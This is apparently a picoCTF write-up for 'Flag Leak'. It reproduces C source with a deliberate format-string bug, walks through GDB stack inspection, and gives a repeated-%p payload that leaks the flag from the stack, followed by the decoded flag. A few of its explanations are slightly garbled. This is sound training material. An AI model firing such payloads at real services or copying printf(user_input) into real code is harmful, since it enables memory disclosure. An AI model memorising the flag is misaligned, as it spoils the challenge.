picoCTF
Flag Leak [300 pts]
Challenge Description:
Story telling class 1/2
I’m just copying and pasting with this program. What can go wrong? You can view source here. And connect with it using:
nc saturn.picoctf.net [port #]
We’re given a binary ELF file and a C source file. Here’s the C source:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <wchar.h>
#include <locale.h>
#define BUFSIZE 64
#define FLAGSIZE 64
void readflag(char* buf, size_t len) {
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(buf,len,f); // size bound read
}
void vuln(){
char flag[BUFSIZE];
char story[128];
readflag(flag, FLAGSIZE);
printf("Tell me a story and then I'll tell you one >> ");
scanf("%127s", story);
printf("Here's a story - \n");
printf(story);
printf("\n");
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
vuln();
return 0;
}
Hold on, we’re calling readflag()
during our program execution in vuln()
– doesn’t that mean that the flag, i.e. FILE *f
, will be stored in the stack? Since it is a local variable declared and initialized during the function call, the actual values of the flag should definitely be located somewhere in the stack. Let’s test our theory out in GDB.
First create a flag.txt
and fill it with some text you’ll recognize, enable vuln
’s execution, and launch GDB.
chmod +x vuln
nano flag.txt
gdb vuln
Now let’s set a breakpoint after input is received to see what stack offset our input is at and if the flag is in the stack.
disass vuln
b *vuln+95 # inserts breakpoint at the `<puts@plt>` function call
r
x/100x $esp # outputs current stack for 100 bytes
After the following sequence of commands, you will notice that user input lies at $esp+0x10
and the flag lies at some later offset in the stack depending on the size of the user input.
Since the flag lies on the stack, we can make use of the format string %p
, the format specifier for addresses, to output bytes on the stack and thus obtain the flag.
Submit a payload of %p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p
to the program (this can be easily written by activating python in terminal and writing print(‘%p’*N)
, where N is the number of %p’s you need. The maximum of N is 63, in this case, as the scanf function has a buffer of 127 bytes.)
Note that each %p outputs 4 bytes on the stack. Since each %p itself takes up 2 bytes on the stack, each %p we add is essentially letting us look an additional 2 bytes into the stack.
Remove the 0x
’s and (nil)
’s and put it into a hex to ascii converter.
Notice that the hex string 6f6369707b4654436b34334c5f676e3167346c466666305f3474535f395f6b63303666357d373136
should return the ascii string:
ocip{FTCk43L_gn1g4lFff0_4tS_9_kc06f5}716
Every four characters is reversed due to little endianness, thus, to get the flag, reverse every group of four characters to return:
picoCTF{L34k1ng_Fl4g_0ff_St4ck_95f60617}